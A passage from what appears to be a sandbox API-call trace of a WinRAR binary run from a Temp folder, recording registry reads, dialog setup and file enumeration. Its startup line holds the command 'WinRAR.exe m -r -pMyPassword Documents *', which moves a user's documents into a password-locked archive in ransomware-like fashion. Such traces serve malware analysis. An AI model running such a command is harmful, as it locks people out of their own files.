hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\FileList\\ArcColumnStates", ulOptions=0x0, samDesired=0x9, phkResult=0x1eaee0 | out: phkResult=0x1eaee0*=0x0) returned 0x2 [0053.668] GetLastError () returned 0x0 [0053.668] SetLastError (dwErrCode=0x0) [0053.668] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\FileList\\FileColumnStates", ulOptions=0x0, samDesired=0x9, phkResult=0x1eaee0 | out: phkResult=0x1eaee0*=0x0) returned 0x2 [0053.668] LoadStringW (in: hInstance=0x13f160000, uID=0x72, lpBuffer=0x13f2df630, cchBufferMax=512 | out: lpBuffer="Modified") returned 0x8 [0053.668] SendMessageW (hWnd=0x10202, Msg=0x1061, wParam=0x3, lParam=0x1eb380) returned 0x3 [0053.668] GetLastError () returned 0x0 [0053.668] SetLastError (dwErrCode=0x0) [0053.668] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\FileList\\ArcColumnStates", ulOptions=0x0, samDesired=0x9, phkResult=0x1eaee0 | out: phkResult=0x1eaee0*=0x0) returned 0x2 [0053.668] GetLastError () returned 0x0 [0053.668] SetLastError (dwErrCode=0x0) [0053.668] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\FileList\\FileColumnStates", ulOptions=0x0, samDesired=0x9, phkResult=0x1eaee0 | out: phkResult=0x1eaee0*=0x0) returned 0x2 [0053.668] GetLastError () returned 0x0 [0053.668] SetLastError (dwErrCode=0x0) [0053.668] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\FileList\\ArcColumnStates", ulOptions=0x0, samDesired=0x9, phkResult=0x1eaee0 | out: phkResult=0x1eaee0*=0x0) returned 0x2 [0053.668] GetLastError () returned 0x0 [0053.668] SetLastError (dwErrCode=0x0) [0053.668] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\FileList\\FileColumnStates", ulOptions=0x0, samDesired=0x9, phkResult=0x1eaee0 | out: phkResult=0x1eaee0*=0x0) returned 0x2 [0053.668] SendMessageW (hWnd=0x10202, Msg=0x101f, wParam=0x0, lParam=0x0) returned 0x10204 [0053.668] SendMessageW (hWnd=0x10202, Msg=0xb, wParam=0x1, lParam=0x0) returned 0x0 [0053.668] GetClientRect (in: hWnd=0x201d2, lpRect=0x1eb3b0 | out: lpRect=0x1eb3b0) returned 1 [0053.668] GetWindowRect (in: hWnd=0x0, lpRect=0x1eb350 | out: lpRect=0x1eb350) returned 0 [0053.668] GetWindowRect (in: hWnd=0x0, lpRect=0x1eb350 | out: lpRect=0x1eb350) returned 0 [0053.669] MoveWindow (hWnd=0x10202, X=0, Y=0, nWidth=1064, nHeight=567, bRepaint=1) returned 1 [0053.669] ShowWindow (hWnd=0x10202, nCmdShow=5) returned 0 [0053.670] GetMenu (hWnd=0x201d2) returned 0x101ff [0053.670] EnableMenuItem (hMenu=0x101ff, uIDEnableItem=0x66, uEnable=0x1) returned 0 [0053.670] EnableMenuItem (hMenu=0x101ff, uIDEnableItem=0x78, uEnable=0x0) returned 0 [0053.670] EnableMenuItem (hMenu=0x101ff, uIDEnableItem=0x83, uEnable=0x0) returned 0 [0053.670] EnableMenuItem (hMenu=0x101ff, uIDEnableItem=0x80, uEnable=0x0) returned 0 [0053.670] EnableMenuItem (hMenu=0x101ff, uIDEnableItem=0x7b, uEnable=0x0) returned 0 [0053.671] EnableMenuItem (hMenu=0x101ff, uIDEnableItem=0x84, uEnable=0x0) returned 0 [0053.671] EnableMenuItem (hMenu=0x101ff, uIDEnableItem=0x85, uEnable=0x0) returned 0 [0053.671] EnableMenuItem (hMenu=0x101ff, uIDEnableItem=0x86, uEnable=0x0) returned 0 [0053.671] EnableMenuItem (hMenu=0x101ff, uIDEnableItem=0x87, uEnable=0x0) returned 0 [0053.671] EnableMenuItem (hMenu=0x101ff, uIDEnableItem=0xa4, uEnable=0x1) returned 0 [0053.671] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="rar", cchCount1=-1, lpString2="rar", cchCount2=-1) returned 2 [0053.671] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="rar", cchCount1=-1, lpString2="exe", cchCount2=-1) returned 3 [0053.671] GetCurrentDirectoryW (in: nBufferLength=0x800, lpBuffer=0x1e4110 | out: lpBuffer="C:\\Users\\WhuOXYsD\\Documents") returned 0x1b [0053.671] GetLastError () returned 0x0 [0053.671] SetLastError (dwErrCode=0x0) [0053.671] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Paths", ulOptions=0x0, samDesired=0x9, phkResult=0x1e2380 | out: phkResult=0x1e2380*=0x0) returned 0x2 [0053.671] ExpandEnvironmentStringsW (in: lpSrc="", lpDst=0x1e30c0, nSize=0x800 | out: lpDst="") returned 0x1 [0053.671] GetFileAttributesW (lpFileName="Documents.rar" (normalized: "c:\\users\\whuoxysd\\documents\\documents.rar")) returned 0xffffffff [0053.671] GetCurrentDirectoryW (in: nBufferLength=0x7ff, lpBuffer=0x1e4070 | out: lpBuffer="C:\\Users\\WhuOXYsD\\Documents") returned 0x1b [0053.671] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\WhuOXYsD\\Documents\\Documents.rar" (normalized: "c:\\users\\whuoxysd\\documents\\documents.rar")) returned 0xffffffff [0053.671] AllocateAndInitializeSid (in: pIdentifierAuthority=0x1e60e0, nSubAuthorityCount=0x2, nSubAuthority0=0x20, nSubAuthority1=0x220, nSubAuthority2=0x0, nSubAuthority3=0x0, nSubAuthority4=0x0, nSubAuthority5=0x0, nSubAuthority6=0x0, nSubAuthority7=0x0, pSid=0x1e60d8 | out: pSid=0x1e60d8*=0x397280*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0))) returned 1 [0053.671] CheckTokenMembership (in: TokenHandle=0x0, SidToCheck=0x397280*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), IsMember=0x1e60d0 | out: IsMember=0x1e60d0) returned 1 [0053.671] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=1, lpString2="WinCon", cchCount2=6) returned 1 [0053.672] QueryPerformanceCounter (in: lpPerformanceCount=0x1e5e40 | out: lpPerformanceCount=0x1e5e40*=12901208574) returned 1 [0053.672] IsAppThemed () returned 0x1 [0053.672] IsThemeActive () returned 0x1 [0053.672] GetLastError () returned 0x0 [0053.672] SetLastError (dwErrCode=0x0) [0053.672] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Interface", ulOptions=0x0, samDesired=0x9, phkResult=0x1e59c0 | out: phkResult=0x1e59c0*=0x18c) returned 0x0 [0053.672] RegQueryValueExW (in: hKey=0x18c, lpValueName="SystemProgressBar", lpReserved=0x0, lpType=0x1e5e24, lpData=0x1e5e20, lpcbData=0x1e5e58*=0x4 | out: lpType=0x1e5e24*=0x0, lpData=0x1e5e20*=0x1, lpcbData=0x1e5e58*=0x4) returned 0x2 [0053.672] RegCloseKey (hKey=0x18c) returned 0x0 [0053.672] GetLastError () returned 0x0 [0053.672] SetLastError (dwErrCode=0x0) [0053.672] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Interface", ulOptions=0x0, samDesired=0x9, phkResult=0x1e59c0 | out: phkResult=0x1e59c0*=0x18c) returned 0x0 [0053.672] RegQueryValueExW (in: hKey=0x18c, lpValueName="TaskbarProgressBar", lpReserved=0x0, lpType=0x1e5e24, lpData=0x1e5e20, lpcbData=0x1e5e58*=0x4 | out: lpType=0x1e5e24*=0x0, lpData=0x1e5e20*=0x1, lpcbData=0x1e5e58*=0x4) returned 0x2 [0053.672] RegCloseKey (hKey=0x18c) returned 0x0 [0053.672] FindResourceW (hModule=0x13f160000, lpName="CMDWNDADD", lpType=0x5) returned 0x13f3535c8 [0053.672] LoadResource (hModule=0x13f160000, hResInfo=0x13f3535c8) returned 0x13f41a010 [0053.672] SizeofResource (hModule=0x13f160000, hResInfo=0x13f3535c8) returned 0x414 [0053.672] CreateDialogIndirectParamW (hInstance=0x13f160000, lpTemplate=0x31b0d0, hWndParent=0x0, lpDialogFunc=0x13f2268c4, dwInitParam=0x0) returned 0x10278 [0053.680] GetWindowRect (in: hWnd=0x10278, lpRect=0x1e29d8 | out: lpRect=0x1e29d8) returned 1 [0053.680] GetClientRect (in: hWnd=0x10278, lpRect=0x1e29f8 | out: lpRect=0x1e29f8) returned 1 [0053.680] GetWindowTextW (in: hWnd=0x10278, lpString=0x1e2a20, nMaxCount=1024 | out: lpString="Preparing files...") returned 18 [0053.680] SetWindowTextW (hWnd=0x10278, lpString="Preparing files...") returned 1 [0053.680] GetSystemMetrics (nIndex=8) returned 3 [0053.680] GetWindow (hWnd=0x10278, uCmd=0x5) returned 0x1027a [0053.680] GetWindowTextW (in: hWnd=0x1027a, lpString=0x1e2a20, nMaxCount=1024 | out: lpString="") returned 0 [0053.680] GetWindow (hWnd=0x1027a, uCmd=0x2) returned 0x1027c [0053.680] GetWindowTextW (in: hWnd=0x1027c, lpString=0x1e2a20, nMaxCount=1024 | out: lpString="") returned 0 [0053.681] GetWindow (hWnd=0x1027c, uCmd=0x2) returned 0x1027e [0053.681] GetWindowTextW (in: hWnd=0x1027e, lpString=0x1e2a20, nMaxCount=1024 | out: lpString="") returned 0 [0053.681] GetWindow (hWnd=0x1027e, uCmd=0x2) returned 0x10280 [0053.681] GetWindowTextW (in: hWnd=0x10280, lpString=0x1e2a20, nMaxCount=1024 | out: lpString="") returned 0 [0053.681] GetWindow (hWnd=0x10280, uCmd=0x2) returned 0x10282 [0053.681] GetWindowTextW (in: hWnd=0x10282, lpString=0x1e2a20, nMaxCount=1024 | out: lpString="") returned 0 [0053.681] GetWindow (hWnd=0x10282, uCmd=0x2) returned 0x10284 [0053.681] GetWindowTextW (in: hWnd=0x10284, lpString=0x1e2a20, nMaxCount=1024 | out: lpString="") returned 0 [0053.681] GetWindow (hWnd=0x10284, uCmd=0x2) returned 0x10286 [0053.681] GetWindowTextW (in: hWnd=0x10286, lpString=0x1e2a20, nMaxCount=1024 | out: lpString="") returned 0 [0053.681] GetWindow (hWnd=0x10286, uCmd=0x2) returned 0x10288 [0053.681] GetWindowTextW (in: hWnd=0x10288, lpString=0x1e2a20, nMaxCount=1024 | out: lpString="Elapsed time") returned 12 [0053.681] SetWindowTextW (hWnd=0x10288, lpString="Elapsed time") returned 1 [0053.681] GetWindow (hWnd=0x10288, uCmd=0x2) returned 0x1028a [0053.681] GetWindowTextW (in: hWnd=0x1028a, lpString=0x1e2a20, nMaxCount=1024 | out: lpString="") returned 0 [0053.681] GetWindow (hWnd=0x1028a, uCmd=0x2) returned 0x1028c [0053.681] GetWindowTextW (in: hWnd=0x1028c, lpString=0x1e2a20, nMaxCount=1024 | out: lpString="Time left") returned 9 [0053.681] SetWindowTextW (hWnd=0x1028c, lpString="Time left") returned 1 [0053.681] GetWindow (hWnd=0x1028c, uCmd=0x2) returned 0x1028e [0053.681] GetWindowTextW (in: hWnd=0x1028e, lpString=0x1e2a20, nMaxCount=1024 | out: lpString="") returned 0 [0053.681] GetWindow (hWnd=0x1028e, uCmd=0x2) returned 0x10290 [0053.681] GetWindowTextW (in: hWnd=0x10290, lpString=0x1e2a20, nMaxCount=1024 | out: lpString="") returned 0 [0053.681] GetWindow (hWnd=0x10290, uCmd=0x2) returned 0x10292 [0053.681] GetWindowTextW (in: hWnd=0x10292, lpString=0x1e2a20, nMaxCount=1024 | out: lpString="Compression ratio") returned 17 [0053.681] SetWindowTextW (hWnd=0x10292, lpString="Compression ratio") returned 1 [0053.681] GetWindow (hWnd=0x10292, uCmd=0x2) returned 0x10294 [0053.681] GetWindowTextW (in: hWnd=0x10294, lpString=0x1e2a20, nMaxCount=1024 | out: lpString="") returned 0 [0053.681] GetWindow (hWnd=0x10294, uCmd=0x2) returned 0x10296 [0053.681] GetWindowTextW (in: hWnd=0x10296, lpString=0x1e2a20, nMaxCount=1024 | out: lpString="Processed") returned 9 [0053.681] SetWindowTextW (hWnd=0x10296, lpString="Processed") returned 1 [0053.681] GetWindow (hWnd=0x10296, uCmd=0x2) returned 0x10298 [0053.681] GetWindowTextW (in: hWnd=0x10298, lpString=0x1e2a20, nMaxCount=1024 | out: lpString="") returned 0 [0053.681] GetWindow (hWnd=0x10298, uCmd=0x2) returned 0x1029a [0053.681] GetWindowTextW (in: hWnd=0x1029a, lpString=0x1e2a20, nMaxCount=1024 | out: lpString="") returned 0 [0053.681] GetWindow (hWnd=0x1029a, uCmd=0x2) returned 0x1029c [0053.681] GetWindowTextW (in: hWnd=0x1029c, lpString=0x1e2a20, nMaxCount=1024 | out: lpString="&Background") returned 11 [0053.681] SetWindowTextW (hWnd=0x1029c, lpString="&Background") returned 1 [0053.681] GetWindow (hWnd=0x1029c, uCmd=0x2) returned 0x1029e [0053.681] GetWindowTextW (in: hWnd=0x1029e, lpString=0x1e2a20, nMaxCount=1024 | out: lpString="&Pause") returned 6 [0053.681] SetWindowTextW (hWnd=0x1029e, lpString="&Pause") returned 1 [0053.681] GetWindow (hWnd=0x1029e, uCmd=0x2) returned 0x102a0 [0053.681] GetWindowTextW (in: hWnd=0x102a0, lpString=0x1e2a20, nMaxCount=1024 | out: lpString="Cancel") returned 6 [0053.681] SetWindowTextW (hWnd=0x102a0, lpString="Cancel") returned 1 [0053.681] GetWindow (hWnd=0x102a0, uCmd=0x2) returned 0x102a2 [0053.682] GetWindowTextW (in: hWnd=0x102a2, lpString=0x1e2a20, nMaxCount=1024 | out: lpString="&Mode...") returned 8 [0053.682] SetWindowTextW (hWnd=0x102a2, lpString="&Mode...") returned 1 [0053.682] GetWindow (hWnd=0x102a2, uCmd=0x2) returned 0x102a4 [0053.682] GetWindowTextW (in: hWnd=0x102a4, lpString=0x1e2a20, nMaxCount=1024 | out: lpString="Help") returned 4 [0053.682] SetWindowTextW (hWnd=0x102a4, lpString="Help") returned 1 [0053.682] GetWindow (hWnd=0x102a4, uCmd=0x2) returned 0x0 [0053.682] IsWindowVisible (hWnd=0x10278) returned 0 [0053.682] GetParent (hWnd=0x10278) returned 0x0 [0053.682] IsWindowVisible (hWnd=0x0) returned 0 [0053.682] GetDesktopWindow () returned 0x10010 [0053.682] GetWindowRect (in: hWnd=0x10010, lpRect=0x1e41f8 | out: lpRect=0x1e41f8) returned 1 [0053.682] GetWindowRect (in: hWnd=0x10278, lpRect=0x1e4208 | out: lpRect=0x1e4208) returned 1 [0053.682] GetWindowLongPtrW (hWnd=0x10278, nIndex=-16) returned 0x84ca08cc [0053.682] SetWindowPos (hWnd=0x10278, hWndInsertAfter=0x0, X=565, Y=315, cx=0, cy=0, uFlags=0x215) returned 1 [0053.683] SendMessageW (hWnd=0x10278, Msg=0x402, wParam=0x0, lParam=0x0) returned 0x0 [0053.683] GetSystemMenu (hWnd=0x10278, bRevert=0) returned 0x10229 [0053.683] EnableMenuItem (hMenu=0x10229, uIDEnableItem=0xf000, uEnable=0x1) returned 0 [0053.683] EnableMenuItem (hMenu=0x10229, uIDEnableItem=0xf030, uEnable=0x1) returned 0 [0053.683] GetDlgItem (hDlg=0x10278, nIDDlgItem=155) returned 0x10280 [0053.683] CreateWindowExW (dwExStyle=0x0, lpClassName="tooltips_class32", lpWindowName=0x0, dwStyle=0x80000073, X=-2147483648, Y=-2147483648, nWidth=-2147483648, nHeight=-2147483648, hWndParent=0x10278, hMenu=0x0, hInstance=0x13f160000, lpParam=0x0) returned 0x102a6 [0053.684] GetWindowRect (in: hWnd=0x10280, lpRect=0x1e4228 | out: lpRect=0x1e4228) returned 1 [0053.684] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x10278, lpPoints=0x1e4228, cPoints=0x2 | out: lpPoints=0x1e4228) returned -22217272 [0053.684] SendMessageW (hWnd=0x102a6, Msg=0x432, wParam=0x0, lParam=0x1e4210) returned 0x1 [0053.684] GetDlgItem (hDlg=0x10278, nIDDlgItem=165) returned 0x1027c [0053.684] CreateWindowExW (dwExStyle=0x0, lpClassName="tooltips_class32", lpWindowName=0x0, dwStyle=0x80000073, X=-2147483648, Y=-2147483648, nWidth=-2147483648, nHeight=-2147483648, hWndParent=0x10278, hMenu=0x0, hInstance=0x13f160000, lpParam=0x0) returned 0x102a8 [0053.685] GetWindowRect (in: hWnd=0x1027c, lpRect=0x1e4228 | out: lpRect=0x1e4228) returned 1 [0053.685] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x10278, lpPoints=0x1e4228, cPoints=0x2 | out: lpPoints=0x1e4228) returned -22217272 [0053.685] SendMessageW (hWnd=0x102a8, Msg=0x432, wParam=0x0, lParam=0x1e4210) returned 0x1 [0053.685] IsWindowVisible (hWnd=0x201d2) returned 0 [0053.685] IsIconic (hWnd=0x201d2) returned 0 [0053.685] GetWindowPlacement (in: hWnd=0x10278, lpwndpl=0x1e46c0 | out: lpwndpl=0x1e46c0) returned 1 [0053.685] SetWindowPlacement (hWnd=0x201d2, lpwndpl=0x1e46c0) returned 1 [0053.685] NtdllDefWindowProc_W (hWnd=0x201d2, Msg=0x46, wParam=0x0, lParam=0x1e4260) returned 0x0 [0053.685] NtdllDefWindowProc_W (hWnd=0x201d2, Msg=0x24, wParam=0x0, lParam=0x1e2a50) returned 0x0 [0053.685] NtdllDefWindowProc_W (hWnd=0x201d2, Msg=0x83, wParam=0x1, lParam=0x1e4230) returned 0x0 [0053.685] NtdllDefWindowProc_W (hWnd=0x201d2, Msg=0x93, wParam=0x0, lParam=0x1e2930) returned 0x1 [0053.685] NtdllDefWindowProc_W (hWnd=0x201d2, Msg=0x47, wParam=0x0, lParam=0x1e4260) returned 0x0 [0053.685] NtdllDefWindowProc_W (hWnd=0x201d2, Msg=0x3, wParam=0x0, lParam=0x180023d) returned 0x0 [0053.685] GetClientRect (in: hWnd=0x201d2, lpRect=0x1e13a0 | out: lpRect=0x1e13a0) returned 1 [0053.685] GetWindowRect (in: hWnd=0x0, lpRect=0x1e1340 | out: lpRect=0x1e1340) returned 0 [0053.685] GetWindowRect (in: hWnd=0x0, lpRect=0x1e1340 | out: lpRect=0x1e1340) returned 0 [0053.685] MoveWindow (hWnd=0x10202, X=0, Y=2, nWidth=293, nHeight=189, bRepaint=1) returned 1 [0053.687] IsIconic (hWnd=0x201d2) returned 0 [0053.687] GetClientRect (in: hWnd=0x201d2, lpRect=0x1e1320 | out: lpRect=0x1e1320) returned 1 [0053.687] GetWindowRect (in: hWnd=0x0, lpRect=0x1e12c0 | out: lpRect=0x1e12c0) returned 0 [0053.687] GetWindowRect (in: hWnd=0x0, lpRect=0x1e12c0 | out: lpRect=0x1e12c0) returned 0 [0053.687] MoveWindow (hWnd=0x10202, X=0, Y=1, nWidth=293, nHeight=191, bRepaint=1) returned 1 [0053.688] IsIconic (hWnd=0x201d2) returned 0 [0053.688] GetClientRect (in: hWnd=0x201d2, lpRect=0x1e1330 | out: lpRect=0x1e1330) returned 1 [0053.688] GetWindowRect (in: hWnd=0x0, lpRect=0x1e12d0 | out: lpRect=0x1e12d0) returned 0 [0053.688] GetWindowRect (in: hWnd=0x0, lpRect=0x1e12d0 | out: lpRect=0x1e12d0) returned 0 [0053.688] MoveWindow (hWnd=0x10202, X=0, Y=2046, nWidth=293, nHeight=-3899, bRepaint=1) returned 1 [0053.688] IsIconic (hWnd=0x201d2) returned 0 [0053.688] GetClientRect (in: hWnd=0x201d2, lpRect=0x1e12b0 | out: lpRect=0x1e12b0) returned 1 [0053.688] GetWindowRect (in: hWnd=0x0, lpRect=0x1e1250 | out: lpRect=0x1e1250) returned 0 [0053.688] GetWindowRect (in: hWnd=0x0, lpRect=0x1e1250 | out: lpRect=0x1e1250) returned 0 [0053.688] MoveWindow (hWnd=0x10202, X=0, Y=0, nWidth=293, nHeight=193, bRepaint=1) returned 1 [0053.689] NtdllDefWindowProc_W (hWnd=0x201d2, Msg=0x93, wParam=0x0, lParam=0x1e3a80) returned 0x1 [0053.689] NtdllDefWindowProc_W (hWnd=0x201d2, Msg=0x83, wParam=0x1, lParam=0x1e3bc0) returned 0x0 [0053.689] NtdllDefWindowProc_W (hWnd=0x201d2, Msg=0x93, wParam=0x0, lParam=0x1e22c0) returned 0x1 [0053.690] CreatePen (iStyle=0, cWidth=1, color=0x606060) returned 0x73008a4 [0053.690] CreatePen (iStyle=0, cWidth=1, color=0x80809e) returned 0x23008fa [0053.690] CreatePen (iStyle=0, cWidth=1, color=0xeee8e8) returned 0x13008fb [0053.690] CreatePen (iStyle=0, cWidth=1, color=0xffffff) returned 0x13008fc [0053.690] CreatePen (iStyle=0, cWidth=1, color=0xc0ffff) returned 0x13008fd [0053.690] CreatePen (iStyle=0, cWidth=1, color=0xb4d4e4) returned 0x13008fe [0053.690] CreatePen (iStyle=0, cWidth=1, color=0x9494b4) returned 0x13008ff [0053.690] CreatePen (iStyle=0, cWidth=1, color=0x464040) returned 0x1300900 [0053.690] CreateSolidBrush (color=0x6e6e94) returned 0x1100901 [0053.690] CreateSolidBrush (color=0xdcd6d6) returned 0x1100902 [0053.690] CreateSolidBrush (color=0xa0c0d0) returned 0x1100903 [0053.690] PostMessageW (hWnd=0x10278, Msg=0x8008, wParam=0x0, lParam=0x1) returned 1 [0053.690] GetSystemMetrics (nIndex=49) returned 16 [0053.690] GetSystemMetrics (nIndex=50) returned 16 [0053.690] LoadImageW (hInst=0x13f160000, name=0x65, type=0x1, cx=16, cy=16, fuLoad=0x0) returned 0x1022b [0053.691] SendMessageW (hWnd=0x10278, Msg=0x80, wParam=0x0, lParam=0x1022b) returned 0x0 [0053.691] GetSystemMetrics (nIndex=11) returned 32 [0053.691] GetSystemMetrics (nIndex=12) returned 32 [0053.691] LoadImageW (hInst=0x13f160000, name=0x65, type=0x1, cx=32, cy=32, fuLoad=0x0) returned 0x1022d [0053.691] SendMessageW (hWnd=0x10278, Msg=0x80, wParam=0x1, lParam=0x1022d) returned 0x0 [0053.692] GetStartupInfoW (in: lpStartupInfo=0x1e5e70 | out: lpStartupInfo=0x1e5e70*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\WhuOXYsD\\AppData\\Local\\Temp\\\\WinRAR.exe m -r -pMyPassword Documents *", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x77c295d7, hStdError=0x0)) [0053.692] ShowWindow (hWnd=0x10278, nCmdShow=5) returned 0 [0053.692] GetWindowLongPtrW (hWnd=0x10278, nIndex=-16) returned 0x84ca08cc [0053.692] NtdllDefWindowProc_W (hWnd=0x201d2, Msg=0x1c, wParam=0x1, lParam=0x0) returned 0x0 [0053.700] SetDlgItemTextW (hDlg=0x10278, nIDDlgItem=165, lpString="Documents.rar") returned 1 [0053.703] GetWindowTextW (in: hWnd=0x10278, lpString=0x13f302480, nMaxCount=2176 | out: lpString="Preparing files...") returned 18 [0053.703] GetWindowTextW (in: hWnd=0x10278, lpString=0x1e5a20, nMaxCount=512 | out: lpString="Preparing files...") returned 18 [0053.703] GetDlgItem (hDlg=0x10278, nIDDlgItem=156) returned 0x1027e [0053.703] GetWindowTextW (in: hWnd=0x1027e, lpString=0x1e45d0, nMaxCount=2560 | out: lpString="") returned 0 [0053.703] GetDlgItem (hDlg=0x10278, nIDDlgItem=155) returned 0x10280 [0053.703] GetWindowTextW (in: hWnd=0x10280, lpString=0x1e45d0, nMaxCount=2560 | out: lpString="") returned 0 [0053.703] RtlWakeAllConditionVariable (in: ConditionVariable=0x13f342dd0 | out: ConditionVariable=0x13f342dd0) [0053.703] GetTickCount () returned 0xa644a1 [0053.703] UpdateWindow (hWnd=0x10278) returned 1 [0053.703] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x40) returned 0x39d550 [0053.703] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x33608) returned 0x216bfd0 [0053.704] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x100000) returned 0x36a0040 [0053.705] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x10c0) returned 0x3a6340 [0053.705] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x10c0) returned 0x3a7410 [0053.706] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x1010) returned 0x3a84e0 [0053.706] FindFirstFileW (in: lpFileName="*", lpFindFileData=0x1c3270 | out: lpFindFileData=0x1c3270) returned 0x3309a0 [0053.706] FindNextFileW (in: hFindFile=0x3309a0, lpFindFileData=0x1c3270 | out: lpFindFileData=0x1c3270) returned 1 [0053.707] FindNextFileW (in: hFindFile=0x3309a0, lpFindFileData=0x1c3270 | out: lpFindFileData=0x1c3270) returned 1 [0053.707] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Documents.rar", cchCount1=-1, lpString2="-Rh7mA95EzQMCjv.pptx", cchCount2=-1) returned 3 [0053.707] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0xc00) returned 0x3aa510 [0053.707] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x2a) returned 0x39ce00 [0053.707] FindNextFileW (in: hFindFile=0x3309a0, lpFindFileData=0x1c3270 | out: lpFindFileData=0x1c3270) returned 1 [0053.707] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Documents.rar", cchCount1=-1, lpString2="0eTc aT.pptx", cchCount2=-1) returned 3 [0053.707] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x1a) returned 0x3a2920 [0053.707] FindNextFileW (in: hFindFile=0x3309a0, lpFindFileData=0x1c3270 | out: lpFindFileData=0x1c3270) returned 1 [0053.707] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Documents.rar", cchCount1=-1, lpString2="0WMsLhv.docx", cchCount2=-1) returned 3 [0053.707] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x1a) returned 0x3a2950 [0053.707] FindNextFileW (in: hFindFile=0x3309a0, lpFindFileData=0x1c3270 | out: lpFindFileData=0x1c3270) returned 1 [0053.707] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Documents.rar", cchCount1=-1, lpString2="0XuPmKuUcJqUgUNn.pptx", cchCount2=-1) returned 3 [0053.707] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x2c) returned 0x39ce40 [0053.707] FindNextFileW (in: hFindFile=0x3309a0, lpFindFileData=0x1c3270 | out: lpFindFileData=0x1c3270) returned 1 [0053.707] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Documents.rar", cchCount1=-1, lpString2="19uvJahSx.pptx", cchCount2=-1) returned 3 [0053.707] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x1e) returned 0x3a2980 [0053.707] FindNextFileW (in: hFindFile=0x3309a0, lpFindFileData=0x1c3270 | out: lpFindFileData=0x1c3270) returned 1 [0053.707] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Documents.rar", cchCount1=-1, lpString2="1dt_j0rkw.xlsx", cchCount2=-1) returned 3 [0053.707] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x1e) returned 0x3a29b0 [0053.707] FindNextFileW (in: hFindFile=0x3309a0, lpFindFileData=0x1c3270 | out: lpFindFileData=0x1c3270) returned 1 [0053.707] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Documents.rar", cchCount1=-1, lpString2="3gZT0e1Jc7KRhrNwc8F.xlsx", cchCount2=-1) returned 3 [0053.707] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x32) returned 0x39ce80 [0053.707] FindNextFileW (in: hFindFile=0x3309a0, lpFindFileData=0x1c3270 | out: lpFindFileData=0x1c3270) returned 1 [0053.707] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Documents.rar", cchCount1=-1, lpString2="6_vMe3CazzKO.docx", cchCount2=-1) returned 3 [0053.707] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x24) returned 0x3a29e0 [0053.707] FindNextFileW (in: hFindFile=0x3309a0, lpFindFileData=0x1c3270 | out: lpFindFileData=0x1c3270) returned 1 [0053.707] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Documents.rar", cchCount1=-1, lpString2="9klODxiFKz0-WlOc t7.xlsx", cchCount2=-1) returned 3 [0053.707] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x32) returned 0x39cec0 [0053.707] FindNextFileW (in: hFindFile=0x3309a0, lpFindFileData=0x1c3270 | out: lpFindFileData=0x1c3270) returned 1 [0053.707] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Documents.rar", cchCount1=-1, lpString2="AE1NPe45_G.xlsx", cchCount2=-1) returned 3 [0053.707] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3a2a10 [0053.707] FindNextFileW (in: hFindFile=0x3309a0, lpFindFileData=0x1c3270 | out: lpFindFileData=0x1c3270) returned 1 [0053.708] CompareStringW 